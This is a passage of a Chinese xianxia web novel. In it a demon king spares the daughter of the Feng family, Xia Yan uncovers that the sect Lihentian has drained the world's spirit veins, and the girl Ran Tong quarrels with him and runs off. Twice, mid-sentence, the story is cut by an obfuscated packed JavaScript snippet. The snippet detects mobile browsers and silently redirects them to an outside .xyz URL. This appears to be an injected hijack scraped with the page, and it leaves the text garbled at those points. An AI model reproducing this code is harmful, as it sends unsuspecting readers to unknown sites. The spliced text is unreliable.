封无牙对杜峰说:“吴敬轩修炼魔功,妄图献祭整个松阳城的人族。老夫联合当地众妖修制止了他的罪行,离恨天非但不感恩,还诬陷老夫窝藏逃犯。今天我家老四去找陈淳协商老幺的案子,又被他残忍打伤。如此咄咄逼人,试问谁能容忍?老夫不为自家颜面,为着我族尊严也得争口气啊!” 老头儿本分度日,为人并不老实愚笨,该圆滑该撒谎的时候一点不生疏。 麝兰夫人远远对杜峰说:“杜大王,老身看离恨天分明以为你们虫族软弱可欺,妄图洗净脏手,把污水往封家头上泼。你可得拿出魄力为封家做主,不能害我们妖族跟着丢人啊。” 她这激将法很管用,杜峰再开口态度又强硬了些,直接向陈砚山等人表态:“吴敬轩不能到场听审,可那冒瘴气的地坑还摆在那儿,假如贵派认为这算不得铁证,那本王索性将事情传告天下,让所有人都来评理,总能断出个公道。” “残秽之渊”是离恨天的高级机密,倘若公布出去,引发恐慌是小,暴露了更大的秘密才真难收拾。 陈砚山正色警告:“陈某还以为大王是明白人,做事怎的如此心浮气躁?” 杜峰冷笑:“我们妖族没你们人类那么多花花肠子,一就是一,二就是二,封毓柔犯了罪,理应受罚。但贵派若一味撇清责任,硬要让无辜者连坐,休怪本王砸烂你们的如意算盘!” 他摆动蝎尾,释放万道寒芒,刺得多数人修睁不开眼。 妖修们发出雷鸣般的喝彩声,廖行之放出神识,一头岛屿般大小的青蓝色蜘蛛占据了半个天幕,五只红眼珠犹如五轮血月发出摄人心神的幻光。 方家兄弟和叶欺霜连忙施法防护,勉强保得其他弟子免受幻术侵袭。 “杜大王的话尔等都明白了?只有我们太清教肯耐心跟你们讲道理,换成玄灵教那帮泼贼,早把你们嚼碎当口粮了!” 麝兰夫人跟着警告:“你们想必很清楚,玄灵教的贼子们一直盼望人妖两族开战,好趁火打劫。你们若不信这个邪,不妨试试,看到时哪边损失更大。” 离恨天的人看杜峰这态度是宁愿两族交火也要回护封家,硬碰硬绝没好果子吃。 陈砚山权衡利弊时收到雪千重传音。 “陈师弟,道祖闭关期间不宜大动干戈,速速结案,勿再纠缠。” 有了她的指示事情便好办多了,陈砚山飞到杜峰对面,道貌岸然声明:“陈某方才一时情急,言语或有失当之处,大王气量宏伟,想必不至介怀。本门向以苍生为念,一切行事都旨在护卫凡界安定。今观封家及众妖情绪激动,难以理喻,再争执只会令局势越发混乱。我等自来不屑与愚顽者一般见识,更不会学此辈逞一时之意气,令兵戈扰攘,生灵涂炭。今日之事暂且作罢,望大王秉公执法严惩妖女,待我等查明其余案情,再来同您协商。” 他冠冕堂皇给离恨天找台阶下,妖修们受不了他夹枪带棒的讥讽,纷纷抗议叫骂。 杜峰比他们有分寸,明白该见好就收了,朗声宣布对封二娘的判决:“封毓柔残杀人类,伤天害理,理应处以极刑。” 封无牙慌忙哀求:“大王,我家二妹少小离家,我这做父亲的懦弱无能,没及时寻回孩子,放任她流浪在外才会受坏人诱拐误导。她纵有千般错处,老夫也该承担一半,求大王法外开恩,免其死罪,老夫愿代女受罚!” 封二娘想阻止,嘴巴虚张难以出声,扑簌簌直掉眼泪。终于明白真心实意的爱是再多权势荣耀也换不来的。 封家兄妹跟随父亲求情,其他妖修也替他们申辩,说首恶未除,只处死封二娘对妖族太不公平,恳求杜峰从轻处置。 “尔等休要聒噪,本王自有决断。” 杜峰镇住群妖,凛然道:“念在封七郞已替其殒命,封老德高望重,素行方正,数日内连失二子亦伤天和。本王现酌情发落,判封毓柔终生圈禁灵樾森,由其父兄严加看管,若触犯禁令擅自出逃,杀无赦。” 封家人惊喜庆幸,离恨天则强烈不满。陈淳暴躁地指责杜峰徇私,杜峰毫不理睬,只和陈砚山交涉。 “你们人族常说法理不外乎人情,本王秉公执法时稍微兼顾人情冷暖,有何不可?若真要一板一眼计较,那就请贵派先给封七郎偿命,过后再处死封毓柔。” 陈淳知道这笔帐只会算到他头上,有恨难言。 陈砚山不失时机地挤兑,微微转头向他请示:“陈师兄,你意下如何?” 可能的话,陈淳真想先杀了这讨人厌的家伙,羞怒愤懑道:“这里哪儿还有我说话的份?你看着办吧!” 封无牙气还没出够,不肯让他甩手遁去,张网拦截道:“陈淳,你不是想治老夫的罪吗?那就别急着走啊。” 陈淳怒啸:“封无牙,你当真要与我不死不休?!” 陈砚山乐见他丢人,但又不能让他们再开战,劝说封无牙:“封驸马,尊夫人和令郎并非折在我陈师兄手里,他打伤封四郎的仇已由你亲手报了,杜大王在此,阁下还是莫争强为好。” 杜峰全力维护封家,封无牙当然感激,再向其拱手致谢:“大王明朝秋毫,封家老小皆感铭肺腑,看在您的份上,老夫就不与那小人计较了。” 杜峰说:“封家和离恨天各有各的不是,俗话说退一步海阔天空,双方既已划清责任,就不必在这儿蹉跎了,都散了吧。” 陈砚山代表离恨天向他告辞,廖行之适时斥责:“把这儿打得乱七八糟还想一走了之,离恨天就是这样维护人界安宁的?真是说得比唱得还好听,做起事来全是狗屁!” 陈砚山脑子清醒定力好,不会在理亏的事上争辩,让江琉玥修复毁坏的山林,率领同门飞入云层。 江琉玥祭出金如意,光芒照拂下,破碎的山石,断折的树木都复归原位,不一会儿,所有景物完好如初。 她收了法宝,怀着轻蔑和敌意瞥了瞥杜峰及群妖,骑上灵宠丹顶鹤刷然逝去。 众妖一齐恭送杜峰,杜峰暗中传音封无牙:“封老,本王不管你是否与夏炎有联系,此人身份尴尬,沾上就易惹是非。你好自为之,莫要被人抓了把柄,叫本王为难。” 这是暗示封无牙做事低调,没被人揪住小辫子,他便不会过问。 “大王放心,老夫理会的。” 封无牙送别杜峰,让孩子们先陪客人们回灵樾森。 “为父想跟二妹说几句话。” 封大郞让弟弟妹妹先走,要替父亲教训不孝女。 封无牙心想长兄为父,他死后封二娘还得依靠大哥,默许封大郞留下旁观。 封二娘侥幸不死,无颜面对家人,跪在地上垂头待罚,盼望父兄能狠狠打她一顿。 封无牙见状十分心疼,空有万语千言,欲开口亦很艰难,就这样被封大郞抢了话。 “封毓柔,你在山海遗界里辱骂老爹的那些说辞,小五都告诉我了。刚才看了老爹对付陈淳等人的情形,你还觉得他无能吗?” 离恨天的太上长老都是睥睨人界的绝顶高手,封无牙一对二还稳居上风,放眼妖族估计也无人匹敌了。 封毓柔其实早知父亲修为高深,所不忿的是他与世无争的平淡性情,但事到如今她什么错都愿意认。 直到大哥透露一桩内幕,她才真正意识到自己的盲目。 “你知道当年老爹为什么不去争王位?他与母亲成婚前,两位舅舅拿婚事要挟,逼他发誓有生之年绝不参与王位竞争。说让一只蚊子当上妖王会令整个虫族蒙羞,其实他们就是嫉妒老爹比他们强!” 封大郞不听父亲阻拦,马不停蹄地替他宣泄委屈。 “当年是母亲主动追求老爹的,她是外公的长女,若非本人态度坚决,外公怎会同意她嫁给老爹?舅舅们嫌母亲丢人,后来看我们家生活幸福更是嫉恨,故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886402|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而坏心挑拨。你当大舅说想收养你是出于好心?错!他就想破坏我们家的和睦,利用你的虚荣心报复老爹和母亲。你这个蠢货居然真的上当,帮着外人贬低自己的父亲!” 封二娘震惊极了,抬头恍惚地望着大哥。 封大郞看她仍有疑虑,说:“你不信,我这便领你去找舅舅们对质,当年大舅也来诓骗过我,他要连自己亲口说过的话也不认,我就骂他屎壳郎投胎,专吃大粪!” 封无牙知道大儿子气坏了,真能去报复两位舅爷,忙伸手拦住他。 “行了,你该说够了,过去的事计较再多也无用,还是算了吧。” 他靠近封二娘弯腰搀扶,封二娘痛哭流涕,扭头躲避,觉得自己没资格做他的女儿。 封无牙很心酸,他至今没怪过封二娘,还怨自个儿出身低耽误了孩子们。以前怕同封二娘争吵,从没和她谈论过这个话题,此刻深深懊悔,若早日勇敢面对问题,帮女儿解开心结,就不会引发这么惨痛的悲剧。 “二妹,你母亲知道她的哥哥们威胁我以后怨我不该答应他们,说早知会耽误我的前程断不会嫁给我。我听了无比庆幸,若我不答应舅爷们的条件就不能同你母亲成亲,也就没有你们,那一辈子的幸福就全部葬送了。当年先动心的人其实是我,你想我出身卑贱,怎敢对你母亲那样高贵的女子有非分之想。刚听她说心悦我时,我真坚信自己积了几世的德,可是顾虑也不少,最困惑的就是将来子女的血统问题,很怕连累你们被人瞧不起。你母亲却说外人的想法不重要,只要我们做父母的把孩子当宝贝就行了。” 无私的包容关爱彻底洗刷了封二娘因浅薄蒙尘的心,清醒看到过去所受的屈辱大部分源于她的自卑。 最看不起她的人是她自己,她辜负了全天下最好的父母,妄想走捷径却浪费了宝贵的人生。 封无牙抱住失声痛哭的封二娘,被她紧紧抓住袖子便感觉无比欣慰,默默向亡妻祝祷。 三万年了,我们的女儿终于回家了。 夏炎在附近站了许久,不忍打扰他们骨肉团聚。后来武翩翩忍不住打了个喷嚏,被封家人发现了。 “夏爷,对不住,让您久等了。” 封无牙迎上去,见冉彤依然昏迷,忙问她的情况。 “她透支过度,我用梦引术为其治疗,睡久些恢复得更好。” 夏炎看向封二娘,向封无牙请求:“我想问问令嫒‘残秽之渊’的位置,好前去查探,烦劳先帮我照看这丫头和小白泽。” 夜幕低垂,一江春水泛着粼粼波光,两岸山峦似眠兽静卧。 江面上薄雾飘送,微风习习,凉意浸骨。 靠近江湾的芦苇荡内系着一艘客船,船舱内铺设精致,秦万岁正躺在檀木床上拥衾安睡,秦不羁守在床边闭目打坐。 古怀熹独立船头望夜凝思,灼灼目光不时穿透雾气扫视江面,等待中疑虑渐增。 风速突变,一道遁光射向客船,王霸颓然跌倒在甲板上,嘴角滴着鲜血,胡须被血水浸得黏成一缕,瞧着好生狼狈。 “老八,你怎么伤成这样!?” 秦不羁抢出来蹲下搀扶他,古怀熹施法为其疗伤,发现他伤势严重,忙问:“你和离恨天的人交手了?” 今天下午他和秦家父子先一步离开松阳,让王霸留下望风,看来松阳出了大乱子。 王霸苦笑:“你们走后不久,我见封家老四去找陈淳,想是为那封七郎的案子谈判,便悄悄跟去偷听,不慎被那老儿察觉,幸亏我跑得快,否则真要交代在他手里。” 那绊住陈淳的神秘人正是他,他这么做并非为救封四郎,而是料定封四郎在替夏炎执行调虎离山计,为护恩师才冒着生命危险用幻术拖延时间。 他在七曜城资历深,与古怀熹等人关系亲密,撒点小谎不打紧。 古怀熹听说他逃脱后带伤回松阳查看,得知影月宗宗主吴敬轩和封家二女儿就是盘踞松阳多年的吸血妖怪。 吴敬轩在明月山庄用邪术杀人,被封无牙带领当地妖修制止。随后陈淳等人在城外与以封家为首的大妖们对峙,双方险些开战,被杜峰赶来劝住了。 秦不羁分外遗憾:“没想到短短半天松阳竟发生了这么大变故,早知道就多留一会儿,还能瞧瞧热闹。” 古怀熹问王霸:“那个疑似夏炎的人可曾现身?” 王霸摇头:“不清楚,我伤成这样,实在没多余精力仔细搜集情报了。” 秦不羁问他可曾发现冉彤的踪迹,他也否认:“没注意,城里乱成一锅粥,谁会留心那小丫头。二哥,三哥,你们先让我养会儿神,回头别耽误了给万岁治病。” 秦不羁忙扶他去船舱内休养,古怀熹放出一只灵鸟回七曜城送信。 虽无确凿证据,但他断定夏炎参与到了事件中,若多派人手在庆隆州境内严密搜索,八成能找到他的行踪。 他在奏报中备注了一段请求。 “那冉彤是卑职胞妹仅存的血脉,望君上稍加宽宥,饶其不死。” 56.教育 夏炎在封二娘指引下找到那个位于松阳以西七十里“坠鸟峡”最深处谷底的“残秽之渊”。 该地已被离恨天封锁,驻扎了不少守卫,防范非常森严。 “这里的禁制很强,是几个太上长老联手设置的,以防有人用神识窥探。” 封二娘向夏炎说明情况,她曾靠近过“残秽之渊”,了解那里的景象,主动献出相关记忆协助他调查。 “那瘴气并非凡界所有,很像纯正的魔气。” 夏炎的结论惊呆封二娘,上古时代众神击溃魔族,将其驱赶至魔界,设下牢不可破的屏障隔绝两界,照常理魔气不可能渗透到凡界。 必定是某些原因导致了这一反常情况。 夏炎趺坐,使用“神目天通”侦查整个凡界地下灵脉的分布情况。 这个世界经过众神长达数十万年的合力改造,江河湖海,山地平原的存在都依据其精心构思的布局。 八大灵脉穿梭其下,延伸出众多大大小小的分支,一齐为整个世界的运转提供灵气。 夏炎花了一天一夜仔细查看灵脉图谱,确定灵脉的走势比之千年前发生了不小的变化,主线都向缥缈城偏移,使灵气汇聚于此,导致一些地方灵气枯竭。 当初他去青龙沟寻找灵骨时便察觉离恨天在破坏某些区域的灵脉,没想到程度这么严重。 “离恨天改动了灵脉分布,抢走了大部分灵气,这里应该是凡魔两界屏障较为薄弱的区域,没有足够的灵力保护便逐渐被魔气渗透了。” 昌宁那个“残秽之渊”想必也是这么形成的,别的地方肯定还有类似情形未曝光。 人界修士们整体实力下滑的原因也找到了,毗沙夺走大部分灵气,其他人僧多粥少,修行自然进展缓慢。 由于灵气不够,人们按传统方法修行耗时太长,受寿命限制,像冉家这类的门派只好修改功法秘笈,以降低其威力为代价,缩短修炼时间。 这速成的办法等于自欺欺人,久之损伤门派根基,导致其势力不断衰弱,最后只能沦为离恨天的附庸,受其支配。 听他说出结论,封二娘震愕半晌,气愤道:“怪不得这一千年来大家都感觉凡界的灵气大不如前,听三弟说我爹还为此两度拜访过地母娘娘,可娘娘一直在闭关,拒绝见客。” 地母娘娘是一条从上古时代存活下来的大蚯蚓,奉众神之命守护天下灵脉,地仙里属她地位最高。 夏炎疑心地母出了状况,决定前往探查,封二娘说:“您独自去恐有危险,我让兄弟们协助您。” “此事稍后再议,我想先去灵樾森安顿我那小辈。” 完成封家委托的过程中意外频发,还让他察觉一个不容忽视的问题。 那丫头胆大妄为,不好生教导往后定会走歪路,必须让她改正错误。 冉彤在封无牙的洞府里醒来,内外伤都已痊愈,喝了封六郞为她准备的灵茶,精力也完全恢复了。 “前辈在哪儿?” “夏爷去查案刚回来,正和老爹说话。” “吴敬轩死了吗?” “他被困在山海遗界里永远出不来了,这会儿比死还难受呢。” 封六郞应冉彤请求,详细讲述她昏迷后发生的事件,得知案件有了较为圆满的收场,冉 彤替封家人欣喜,也替夏炎欣慰。 总算没辜负封家人的期望,他可以松口气了。 她没见着武翩翩,询问其去向。 “老爹拜托麝兰夫人收留她,夫人就住在五百里外的甜水溪,她算白泽族的远亲,又很慈祥和善,那小白泽若能拜入她门下,下半生便有着落了。” “太好了,那夫人答应了吗?” “夫人说她年纪大了,收留个把人还行,收徒弟还得另说。已将小白泽领去让她先瞧瞧家里的环境,自己决定是否留下。” “翩翩姐无依无靠,遇到这么好的靠山,自然是愿意的。” 冉彤自觉完成了墨池的托孤重任,又想到短短几天修为便有了重大突破,真叫一个因祸得福。 这天降的馅饼固然坚硬,差点没崩掉她的大牙,不过味道确实顶呱呱,但愿以后能多来几个。 夏炎不知道还要和封无牙聊多久,封六郞要去送客,让冉彤去树林里逛逛。 “往南三十里都是老爹开辟的花园,你可去赏玩,顺便采摘些灵植。” 冉彤意兴盎然地溜达出洞,信步往南面的林子里走。 封无牙在这儿住了两三万年,将花园打理得尽善尽美。 小径旁参天树木婆娑弄影,姗姗修竹翠色含烟。遍地芳草萋萋,香花簇锦,一条灵泉蜿蜒流淌,将花园划分成数块,栽种着不同属性的灵植。 冉彤看到外间少见的幻息昙华、灵沼玉蕈和星芒鬼针草,还有很多她从没见过的不知名的果木花草,估计都是有钱也买不到的稀罕货。 动手前她留了个心眼,想:“主人家是看在老鬼的份上才同意我采摘,我若擅自要了他们的贵重东西倒显得没教养,老鬼面子上也不好看。还是等见了他,征得同意后再拿。” 她怕忍不住贪欲,背起手走路,瞧见中意的灵植便牢牢记下地点,回头好过来取。 这园子太大,短期内步行逛不完,她放出神识细致探索,恰巧撞见封家姐妹在东面的林子里谈话。 冉彤不太清楚这两姐妹的矛盾,仅凭明月山庄和山海遗界里的见闻仍能看出二人嫌隙很深。 就个人观感而言,她对封五娘好感居多,对封二娘则只有鄙视厌恶,很想看前者教训后者,于是埋伏着静静偷窥。 只见封二娘双手交握于身前,垂头站立,姿态分外拘谨。 封五娘抱臂昂头,气势上已胜出许多。 “封二小姐,今后得委屈你在这灵樾森蜗居了,没当上王后娘娘是不是特别不甘心呀?” 封五娘语气刻薄,冉彤听了很爽快,以德报怨相当于为虎作伥,对付小人就得趁他失败时狠命地踩。 封二娘已决定痛改前非,自知亏欠家人太多,任何委屈都甘之如饴,歉意道:“五妹,从前都是我不对,你怎么骂我都是应该的。” 封五娘奚落:“现在知道我是你五妹啦?前天打杀我的那股气焰到哪儿去了?我现在损你骂你都是为了七弟,老爹肯原谅你,我们也不好说什么。可七弟已经死了,我怎知道他肯不肯宽恕你!?” 封二娘含着泪,脖子弯得更厉害。 “你这么恨我,昨天为何向杜大王求情?” 封五娘嘴角抽搐一下,神色严肃得像个刽子手:“因为我心疼老爹,又念着母亲在天之灵。早在你容忍吴敬轩杀死七弟那一刻起,你我间便没有情分可言了,我不想再跟你有任何瓜葛。” 封二娘了然:“我知道你想和我断亲,不用特地来说明。” 封五娘冷笑:“你又错了,我来是想告诉你,未来这两千多年我会加倍刻苦修行,然后去参加下一届妖王竞选。” 封二娘抬头惊诧,冉彤也被封五娘的豪言壮语惊得捂住嘴巴,心里似有喜鹊乱叫,莫名地欢欣鼓舞。 封五娘紧盯着封二娘的双眼,用她的狐疑锻造决心。 “你嫌弃自己的血统,认为封家地位低下,却从未想过用积极的办法改变现状,一味依靠外力,把梦想寄托在男人身上,这就是你失败的根源。我不像你这么没出息,尊严、荣誉、地位、权势,都能靠这双手努力争取。你笑我痴人说梦也好,不自量力也罢,终有一日我会戴着王冠出现在你面前,像你羞辱老爹那样,再次狠狠羞辱你。” 她说完转身,封二娘大声疾呼:“五妹!” 后面的话需要更多勇气,她的气力都使在表达心声上,音量转小了。 “我相信你一定会成功。” 送出衷心的祝福时封二娘不由自主微笑,泪水逆着表情汹涌滑落。 冉彤不知道封五娘是否看到这一幕,心里又作何感想,反正她这个观众深受感动,眼眶发热,对封二娘的怨恨登时消掉一大半。 呜呜呜,紫烟散人也写过相似情节,“同沐三春霭,花开并蒂妍,风摇香共递,和好永相连。” 血脉亲情不可分割,打断骨头也连着筋。就像冉家配合云家迫害她,她也从未怨恨过两位堂姐,因为相信她们的情义是真实的。 她触景生情,双手抹泪,封五娘陡然携风带光堵在她跟前,唬得她后退跌坐。 “小丫头,偷听别人说话可不是礼貌的行为。” 冉彤见封五娘隐含笑意,明显没有真生气,忙爬起来赔笑道歉。 “晚辈是无意中看见两位前辈的,一时好奇,所以……求五小姐恕罪!” “行了,这点小事算不得罪过。夏爷还在跟我老爹谈话?” “嗯,六爷看我等得无聊,让我来这边玩,这花园真的好大好漂亮啊,我从没见过这么多珍稀灵植。” 冉彤急着转移话题,好回避尴尬。 封五娘见她神态举止都很稚气,就是个小孩子,问:“是谁派你去翡翠城救夏爷的?” 冉彤总算知道那座古城的名字了,忙辩解:“没有人指使,晚辈是凑巧跑进去遇到前辈的,为了对付追杀者才解开了地宫里的封印。” 封五娘不相信事情会这么简单,当年离恨天用多重禁制隐藏了那座城,夏炎的友人拥趸使尽各种办法都没能找到,这小丫头能进城绝非巧合。 可她也看出冉彤没撒谎,觉得她福缘深厚,善意告诫:“你能有幸认识夏爷就该珍惜这份机缘,好生伺候着,若能做他半个门人来日便可横行人界。不过今后若遇到跟我同辈的化形女妖或者上千岁又认识夏爷的美貌女修,最好跟她们强调你是夏爷的小辈,否则恐惹祸上身。” 冉彤似懂非懂,小心问:“伍小姐可否告诉晚辈夏前辈的真实身份?他当年一定是鼎鼎有名的大人物对不对?” 封五娘笑拒:“我可不敢多这个嘴,总之你踏踏实实跟定他就是了。夏爷喜欢诚实的人,你最好少耍小聪明,免得招他烦。” 说完打发冉彤继续玩,闪身不见了。 冉彤认真品味她的话,断定夏炎当年名声极佳,不然哪来那么多爱慕者。 这样的男人本该是情场浪子,最后竟栽在女人手里,果然还是缺心眼害的。 她东想西想,独自嘀嘀咕咕,被悄然出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894014|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的封六郞听见了,好笑道:“冉彤,你在练习单口相声吗?怎么跟自己也说得这么起劲?” 冉彤忙傻笑掩饰,反问:“六爷这么快就回来啦。” 封六郞说:“老爹叮嘱我看好你,我刚想起这林子里种了很多有毒的植物,怕你不小心沾上,送完客人就过来了。” 冉彤庆幸自己懂礼数,没急着采摘灵植。 封六郞当起向导,带她参观游览,沿路教她辨识植物,有中意的便采了送她。 这大妖外表像青葱少年,性情友善开朗,冉彤打量他好说话,可趁便套取情报,见机请求:“六爷,我能跟您打听个人吗?” “谁呀?” 冉彤施展换形术变成夏炎妻子的面孔,封六郎笑容顿失,手忙脚乱训斥:“鬼丫头存心挑事吗?快变回来!” 冉彤乖乖从命,见他皱眉瞪眼气得不轻,明白犯了大禁忌,忙低头认错:“晚辈不是故意惹您生气,上次无意中变成这副模样,夏前辈看了也很不高兴。晚辈想是不是恰巧变成了他的仇人,心里始终放不下才想请教您。” 封六郞责备:“你知道夏爷生气,以后切忌变出这张脸。至于此人是谁,我也不方便说。反正你记住没好处的事莫要做,夏爷宽宏大量,也不喜别人揭他伤疤。” 冉彤一个劲儿点头,封六郎实际上已委婉回答了她的提问,她之前的推测相当准确,夏炎和他老婆有深仇大恨,就是被那女人害死的。 她装作没事人继续跟封六郞逛花园,又过了一个时辰,武翩翩跑了来,提出单独跟她讲话。 “恭喜翩翩姐,听说麝兰夫人同意你去她家住,往后你再不用担惊受怕了。” 武翩翩不太愿意接受她的祝贺,郁闷道:“我在那儿人生地不熟,也不了解夫人的性情,她家人口又多,不知道好不好相处。” 冉彤安慰:“感情都是慢慢培养的嘛,你真心待人,别人也会真心待你。纵有委屈,多想想墨池大人对你的期望,忍一忍就过去了。” 她指着东边说:“我看那边种了很多丛生香荃,去帮你摘些做干粮。” 她转身不久,听见武翩翩招呼她:“冉彤。” 回头一看,对方已现出原形,犄角锃亮,皮毛雪白,脸面俊俏,真是头漂亮的白泽兽。 “前天你问我愿不愿意做你的灵宠,我要是说愿意,你会带我走吗?” 武翩翩别别扭扭凑近她,棕色的大眼睛和浓密的长睫毛眨巴眨巴的,可爱极了。 妖兽主动以原形向人类示好,就是认主的意思。 冉彤有些惊喜,可理智思考,马上做出决定,故作高傲地挑剔她:“你修为低,又缺乏特长,带着你准会被拖后腿,我才没那么傻呢。” 武翩翩没料到她会不留情面地贬低自己,异常羞愤地用犄角顶撞她。 “我就知道你不是好人!坏丫头,你修为更低更差劲,也只会拖别人的后腿!” 冉彤嬉笑躲闪着,忽然抱住她的颈项揉摸她的后颈,哄道:“正因为我俩都差劲,现在结伴只会害了你。你等我二十年,待我修为精进到有能力保护你时,定会来迎接你。” 有夏炎指点,再配合自身努力,二十年后大概就能独当一面了,那时武翩翩应该也已完成化形,正适宜组队修行。 武翩翩欲问她是不是真的,随即想这小骗子撒谎成性,问了也白搭。更纳闷她哪儿来的魔力,每次把自己气得要死,转眼又能轻轻松松获取原谅。 封六郞在远处呼喊:“冉彤,夏爷叫你过去!” 冉彤忙松手,摸了摸武翩翩脑门,含笑道别:“翩翩姐我该走了,请你记住我们的约定,和我一起奋斗。” 武翩翩扭头冷嗤:“少自作多情,我可没答应什么约定。” 冉彤知道这傻大姐好面子,朝她做个鬼脸,御风起风,而后悄悄用神识观察,武翩翩正撒开四蹄追赶她,跑了一二里才依依 不舍停步。 她猛然回头冲她挥手:“翩翩姐,保重啊!” 武翩翩又气又喜,久久扬着头,目送她消失在林间。 冉彤来到封无牙洞府内的庭院,欢喜奔向那昂藏如松的蓝色身影。 “前辈!” 她以为夏炎会笑脸相迎,看到他深沉的面容,心脏陡地下坠,脸也僵住了。 “前辈……” 夏炎像结冻的江水,柔情全藏在坚冰下,严肃质问:“你身上的储物袋哪儿来的?” 他在冉彤昏迷时发现了那只崭新的储物袋,疑心她偷盗。 冉彤不及思索说:“是翩翩姐送我的。” “老夫问过武翩翩,她说不知道。” 冉彤背心发凉,不敢坦白自己偷卖书法的事,改口说:“晚辈错了,那袋子是秦不羁给的,晚辈怕您生气才……” “你实话实说,老夫怎会生气?这点小事也撒谎,你太不诚实了。” 冉彤立时想起封五娘的警告,生怕惹夏炎嫌弃她,忙要求饶。 夏炎先开口:“老夫已拜托封驸马照看你,从今起你安心留在此地修行,顺便正身清心,若能把你那些坏习气统统纠正过来,也不枉老夫认识你一场。” 57.交友 刹那间,曾令冉彤如坠冰窟的孤独与无助强势逆袭。 她的思维被迷惘抹成空白,呆呆地看了夏炎一阵。他深邃的蓝眸折射出宝石般坚硬的光芒,刚才的话都是认真的。 “……晚辈究竟做错了什么?!” 她回忆前情,觉得自己纵然有错也已豁出命去将功补过,怎会让他厌恶到抛弃她。 夏炎教导晚辈宽严并重,到了该严厉的时候必定凛若冰霜,免得被厚脸皮的小孩糊弄过去。 “你连自己错在哪儿都不明白,更说明问题严重。” “……请前辈明示。” 冉彤急迫地望着他,眼眸中泪光闪动,凄惶的小模样差点软化夏炎的决心。 他更用力板起脸责备:“你几次三番任意冒险,全不管形势后果。是不是以为凡事有老夫兜底就能随心所欲乱来?老夫说过,你我之间只是萍聚的过客,并不想同你生出太多瓜葛。你若盘算老夫会成为你的靠山就打错主意了。” 旁观者看来,他和冉彤确实只算萍水之交,辈分资历又比后者高出一大截,这种程度的训斥不算过分。 可是冉彤却感觉受到了有史以来最大的冤屈,比当初被离恨天污蔑成妖女更委屈气愤。明知夏炎讲道理,好好分说便可化解误会,理智和机智却突然双双缺货,决然使用强硬口吻来辩解。 “原来前辈是这么看我的,晚辈在被墨池抓走后就知道不该擅自冒充翩翩姐,若非晚辈耽误了时间,前辈本可阻止封二娘运行法阵,也就不会害死那么多人。晚辈很想向您认错,可惜一直没等到机会,如果您为这件事罚我,晚辈无话可说。但是!” 她高声转折,用力瞪视他,眼眶里有湿漉漉的泪水和气狠狠的怒火。 “晚辈当时那么做并非出于私心,是看那些人百般侮辱您,心下不忿,急着想为您出口气。您说话太斯文,被他们骂得还不了口,晚辈看了真替您憋屈!” 夏炎不禁愣住,他涵养好,早对谩骂诽谤习以为常,并不会往心里去,也就没想到冉彤会替他介意。 另外自独立以来都是他做别人的后盾,对外提供庇护。如今这羽翼单薄的小丫头竟以保护者自居,一心为他出头,实令他诧异。 “口舌之争最无聊,听听就算了,何须你插手?” 他认真说理,冉彤哪还听得进去,一律认定成嫌弃,即刻爆发哭腔:“对,是晚辈没有自知之明,前辈心胸宽广,大人不记小人过,哪里在乎这些啊。除非是最坏最不可饶恕的小人,您才会凶巴巴训斥,比如晚辈这样的!” “老夫几时凶你了?” 夏炎怀疑自己的表情是不是过于凶悍,匆忙间缓和,反而显得很不自然。 冉彤只顾哭鼻子,没注意他的难堪,不停抽泣道:“晚辈知道不合您的眼缘,打从见面第一眼您就讨厌我,后来没杀我是因为您心肠好,不愿无缘无故乱杀人,是以忍着厌烦收留我。相处没几天就找借口把我孤零零扔在山里好几个月,现在可算找着理由彻底遗弃我了……” 冤枉夏炎的人很多,他从来只有不屑和愤恨,这丫头开了先例,让他又气又急又无奈。 “你这丫头真会说话,老夫上次是故意扔下你吗?这次也没说要遗弃你,让你在这儿修行是为你好。” “不过是把我当成包袱丢给别人,也不管我愿不愿意,哪里为我好了?” 冉彤越说越伤心,小时候她犯了错,爹娘怎么责骂处罚她都无所谓。可若是不小心错怪了她,她能不依不饶闹腾好几天。 磨难、伤痛、来自外人和敌人的打击,她都能坚强应对,唯独受不了被亲近的人伤害。 和夏炎认识不久,还没获取他的信任和喜爱就不自觉地将其视作亲人,这不对称的关系令她深感挫败,自尊心严重受损,更要使劲耍性子。 潜意识里还是认定老鬼脾气好,不会难为她。 夏炎两千多年没哄过小姑娘了,也从没见过这么刁蛮的小姑娘,不能放下身段跟她吵架,妥协纵容又达不到教育目的,进退失据,比对付强敌还犯愁,不由得蹙眉:“你把老夫想得这么坏,再跟着老夫岂不别扭?封驸马慈祥和善,疼爱小辈,定会给你更好的照顾。” 冉彤误会他一心想把她往外推,更不甘依从,尽性嗔怒:“我又不是物件,任你想放哪里就放哪里!天下之大,何处没我容身之地!你救过我,我也帮过你,正好互不相欠!” 说完纵身飞出洞府,不择方向地埋头猛冲。 跑出四五百里,太阳渐渐落山了,她降落在一座森林里,坐在粗树枝上伤心哭泣。 还以为找到安乐窝,没几天又成孤鸟,她始信好运坏运循环往复,起伏不定,哭完这一场就得挥别过去,打起精神去找新的出路。 死老鬼,我这么优秀的后辈都不知道珍惜,活该你往后步步遇坎,处处碰壁。 由于地气潮湿,黄昏刚过森林迅速被浓雾吞没,白天郁郁葱葱的林木变成一团团模糊的墨迹,吸走了天空的颜色。 